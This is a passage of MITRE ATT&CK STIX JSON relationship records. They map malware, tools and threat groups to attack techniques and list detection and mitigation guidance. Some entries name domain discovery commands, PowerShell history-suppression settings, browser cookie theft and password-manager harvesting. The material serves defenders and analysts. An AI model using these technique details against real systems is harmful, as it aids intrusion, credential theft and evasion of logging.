`/lib/systemd/system/` folder.(Citation: RotaJakiro 2021 netlab360 analysis)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95966f14-9a22-42ab-910d-80f108dd08de","type":"relationship","created":"2020-03-09T13:17:39.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653","description":"Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.","source_name":"Microsoft Protected View"}],"modified":"2022-02-22T13:22:30.435Z","description":"Ensure Protected View is enabled.(Citation: Microsoft Protected View)","relationship_type":"mitigates","source_ref":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--95976fa3-b0ae-463a-a00b-d5a0b6068d63","created":"2022-04-14T15:42:08.116Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Periodically baseline snapshots to identify malicious modifications or additions.","modified":"2022-04-14T15:42:08.116Z","relationship_type":"detects","source_ref":"x-mitre-data-component--8bc66f94-54a9-4be4-bdd1-fe90df643774","target_ref":"attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--959882ec-644b-4d10-b75f-aeda438c251f","created":"2022-03-30T14:26:51.851Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. For network devices, monitor for missing or inconsistencies in Network Device CLI logging present in AAA logs as well as in specific RADIUS and TACAS+ logs.","modified":"2022-09-01T20:50:59.575Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--959bda8e-6c64-4048-9c34-f8ccd64066e8","created":"2024-01-22T18:54:06.133Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-22T18:54:06.133Z","description":"[LoFiSe](https://attack.mitre.org/software/S1101) can save files to be evaluated for further exfiltration in the `C:\\Programdata\\Microsoft\\` and \t`C:\\windows\\temp\\` folders.\n (Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--452da2d9-706c-4185-ad6f-f5edaf4b9f48","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--959c7695-01a5-4be1-9951-799749796cf4","created":"2023-02-08T19:05:42.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-08T18:39:56.175Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can use LDAP queries, `net group \"Domain Admins\" /domain` and `net user /domain` for discovery.(Citation: Palo Alto Brute Ratel July 2022)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95a1ac52-e022-4c81-96cc-b7b39ca776d3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Kasidet","description":"Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.","url":"http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}],"modified":"2020-03-16T17:02:26.165Z","description":"[Kasidet](https://attack.mitre.org/software/S0088) has the ability to identify any anti-virus installed on the infected system.(Citation: Zscaler Kasidet)","relationship_type":"uses","source_ref":"malware--26fed817-e7bf-41f9-829a-9075ffac45c2","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95a4d32c-7705-4527-abd8-9d2aca70dbc0","type":"relationship","created":"2020-05-12T14:07:23.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye MESSAGETAP October 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html","description":"Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who’s Reading Your Text Messages?. Retrieved May 11, 2020."},{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2020-12-21T18:29:38.980Z","description":"(Citation: FireEye MESSAGETAP October 2019)(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--95a8788a-b36c-4234-94bc-951eb1f72cce","created":"2022-07-08T14:00:19.709Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CreepyDrive](https://attack.mitre.org/software/S1023) can specify the local file path to upload files from.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-07-25T16:17:05.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--750eb92a-7fdf-451e-9592-1d42357018f1","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--95ac6b41-2594-48a0-8437-c7d93111ed66","created":"2022-06-09T15:02:16.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET DazzleSpy Jan 2022","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T20:31:11.372Z","description":"[MacMa](https://attack.mitre.org/software/S1016) has the capability to create and modify file timestamps.(Citation: ESET DazzleSpy Jan 2022)","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--95add276-6a4d-4281-82e5-7857b615742b","created":"2023-03-26T20:46:54.907Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:46:54.907Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) stole Chrome browser cookies by copying the Chrome profile directories of targeted users.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95b0d9c3-e905-468c-8498-6550f2130826","type":"relationship","created":"2021-01-11T21:20:36.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 NETWIRE April 2020","url":"https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/","description":"Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."}],"modified":"2021-01-11T21:20:36.312Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has been spread via e-mail campaigns utilizing malicious links.(Citation: Unit 42 NETWIRE April 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95b2f18d-b886-4364-90ef-1dbba9a2bff1","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor files (especially those downloaded from untrusted locations) for MOTW attributes. Also consider inspecting and scanning file formats commonly abused to bypass MOTW (ex: .arj, .gzip, .iso, .vhd).","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--95b3ea0a-9ecf-440d-8094-7d003ed3dcf6","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-06T20:24:42.686Z","description":"Analyze contextual data about executed DLL files, which may include information such as name, the content (ex: signature, headers, or data/media), age, user/owner, permissions, etc.","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--95c6eafc-4b3f-404b-86d9-13b4ae4845da","created":"2020-05-26T17:14:42.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Whitefly March 2019","description":"Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T20:43:25.146Z","description":"[Whitefly](https://attack.mitre.org/groups/G0107) has encrypted the payload used for C2.(Citation: Symantec Whitefly March 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--95ca9378-9ec1-43cb-9ffb-5f7c79cf7898","created":"2022-06-14T14:42:40.473Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kevin](https://attack.mitre.org/software/S1020) can use the `ShowWindow` API to avoid detection.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-14T14:42:40.473Z","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--95d0ca69-0e05-4f68-ba95-99094f01e140","created":"2022-09-27T17:49:31.424Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T17:49:31.424Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors injected code into a selected process, which in turn launches a command as a child process of the original.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--95d15400-aa0c-4382-be3f-49f931b81f27","created":"2021-12-27T16:53:13.984Z","x_mitre_version":"1.0","external_references":[{"source_name":"TrendMicro Confucius APT Aug 2021","url":"https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html","description":"Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021."},{"source_name":"Uptycs Confucius APT Jan 2021","url":"https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat","description":"Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has downloaded additional files and payloads onto a compromised host following initial access.(Citation: Uptycs Confucius APT Jan 2021)(Citation: TrendMicro Confucius APT Aug 2021)","modified":"2022-06-30T20:15:32.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95d43b58-992e-4970-b22b-54f0da8ca4cd","type":"relationship","created":"2021-06-29T15:52:55.594Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-29T15:52:55.594Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use services to establish persistence.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95d7ffff-dcac-4f3c-9177-3c8158da71bc","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor for changes made to the Office Test Registry key. Collect events related to Registry key modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Office Test Sofacy","description":"Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95d846ca-5705-4a69-9d76-7d886ce86cec","type":"relationship","created":"2020-10-19T23:54:29.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."}],"modified":"2020-10-22T01:54:23.019Z","description":"Configure intrusion prevention devices to detect SNMP queries and commands from unauthorized sources.(Citation: US-CERT-TA18-106A)","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95d8ef7d-47b2-438d-921c-902dbb3467bb","type":"relationship","created":"2020-10-07T15:35:14.636Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020."},{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-22T14:24:19.772Z","description":"(Citation: Trustwave Pillowmint June 2020)(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95dbd3ec-820c-47af-9734-78c39b092bc4","type":"relationship","created":"2019-10-07T19:05:49.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BabyShark Apr 2019","url":"https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/","description":"Lim, M.. (2019, April 26). BabyShark Malware Part Two – Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019."}],"modified":"2019-10-07T19:05:49.015Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has cleaned up all files associated with the secondary payload execution.(Citation: Unit42 BabyShark Apr 2019)","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--95dce028-9046-4bcf-a949-2a0bc40d5038","created":"2021-03-19T13:27:51.792Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Muddy Water March 2021","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T17:26:28.162Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has developed tools in Python including [Out1](https://attack.mitre.org/software/S0594).(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--95df0f16-1c35-4603-baae-4559113f9a0b","created":"2022-05-27T14:20:16.906Z","x_mitre_version":"0.1","external_references":[{"source_name":"DFIR Report APT35 ProxyShell March 2022","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used quser.exe to identify existing RDP connections.(Citation: DFIR Report APT35 ProxyShell March 2022)","modified":"2022-05-27T14:20:16.906Z","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95e4e360-b867-48b4-a494-d9d148232b70","type":"relationship","created":"2020-03-29T17:17:31.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T15:47:48.309Z","description":"Consider using application control to prevent execution of binaries that are susceptible to abuse and not required for a given system or network.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95e5fd0e-b9c1-4efa-b462-a922456401e6","type":"relationship","created":"2020-05-06T21:31:07.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-07T17:54:13.483Z","description":"[Okrum](https://attack.mitre.org/software/S0439) can identify proxy servers configured and used by the victim, and use it to make HTTP requests to C2 its server.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95e80511-d9ec-4001-8f49-37bc4ed71379","type":"relationship","created":"2021-10-11T18:29:51.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.317Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can gather information from the Keepass password manager.(Citation: Kaspersky Ferocious Kitten Jun 2021) 